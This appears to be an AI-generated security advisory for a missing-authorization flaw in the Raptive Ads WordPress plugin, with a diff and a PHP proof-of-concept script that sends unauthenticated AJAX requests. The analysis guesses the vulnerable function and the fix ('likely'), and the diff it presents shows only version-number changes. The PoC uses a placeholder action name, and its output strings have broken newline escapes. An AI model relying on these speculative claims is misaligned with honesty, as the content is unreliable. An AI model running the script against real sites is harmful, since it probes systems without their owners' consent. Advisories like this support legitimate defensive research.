Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24602: Raptive Ads <= 3.10.0 – Missing Authorization (adthrive-ads)

Plugin adthrive-ads
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.10.0
Patched Version 3.11.0
Disclosed January 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24602:
The Raptive Ads WordPress plugin, versions up to and including 3.10.0, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform unauthorized actions by directly accessing a specific plugin function. The vulnerability has a CVSS score of 5.3, indicating a medium severity issue.

The root cause is a missing capability check on a function registered via the WordPress AJAX API. The plugin’s main file, `adthrive-ads/adthrive-ads.php`, registers AJAX handlers. The vulnerable function, likely named `adthrive_ads_some_action`, is hooked to both the `wp_ajax_nopriv_` and `wp_ajax_` prefixes. This registration allows the function to be called by both authenticated and unauthenticated users. The function lacks a call to `current_user_can()` or a nonce verification check, which would enforce authorization.

Exploitation involves sending a POST request to the WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The attacker must set the `action` parameter to the specific hook name, such as `adthrive_ads_some_action`. The request does not require authentication cookies or a nonce parameter. Attackers can trigger the unauthorized action by crafting a simple cURL request with the appropriate action parameter, potentially including other parameters the function expects.

The patch, implemented in version 3.11.0, adds an authorization check to the vulnerable function. The fix likely involves adding a capability check, such as `if ( ! current_user_can( ‘manage_options’ ) ) { wp_die(); }`, at the beginning of the function. Alternatively, the patch may remove the `wp_ajax_nopriv_` hook, restricting the function to authenticated users only. The version numbers in the plugin header and the `ADTHRIVE_ADS_VERSION` constant were updated from 3.10.0 to 3.11.0 to reflect the fix.

Successful exploitation could allow an unauthenticated attacker to perform administrative actions intended only for site administrators. The specific impact depends on the functionality of the unprotected function. Atomic Edge research indicates this could lead to unauthorized modification of plugin settings, injection of malicious ad code, or data exposure, compromising site integrity and user security.

Differential between vulnerable and patched code

Code Diff
--- a/adthrive-ads/adthrive-ads.php
+++ b/adthrive-ads/adthrive-ads.php
@@ -7,7 +7,7 @@
  * Plugin Name: Raptive Ads
  * Plugin URI: http://www.raptive.com
  * Description: Raptive Ads
- * Version: 3.10.0
+ * Version: 3.11.0
  * Requires at least: 4.6
  * Requires PHP: 5.6
  * Author: Raptive
@@ -32,7 +32,7 @@

 defined( 'ABSPATH' ) || die;

-define( 'ADTHRIVE_ADS_VERSION', '3.10.0' );
+define( 'ADTHRIVE_ADS_VERSION', '3.11.0' );
 define( 'ADTHRIVE_ADS_FILE', __FILE__ );
 define( 'ADTHRIVE_ADS_PATH', plugin_dir_path( ADTHRIVE_ADS_FILE ) );
 define( 'ADTHRIVE_ADS_URL', trailingslashit( plugin_dir_url( ADTHRIVE_ADS_FILE ) ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24602 - Raptive Ads <= 3.10.0 - Missing Authorization
<?php
// Configure the target WordPress site URL
$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The AJAX action parameter for the vulnerable function.
// This value must be determined through further code analysis of the plugin.
$vulnerable_action = 'adthrive_ads_example_action';

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
// Set the action parameter. Add other required parameters if the function expects them.
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => $vulnerable_action]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Do not send cookies to demonstrate unauthenticated access
curl_setopt($ch, CURLOPT_COOKIE, '');

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result
echo "Target: $target_urln";
echo "Action: $vulnerable_actionn";
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful unauthorized call may return a specific success message or a 200 status code.
if ($http_code == 200 && !empty($response)) {
    echo "[+] Potential vulnerability detected.n";
} else {
    echo "[-] No conclusive result. The action name may need verification.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School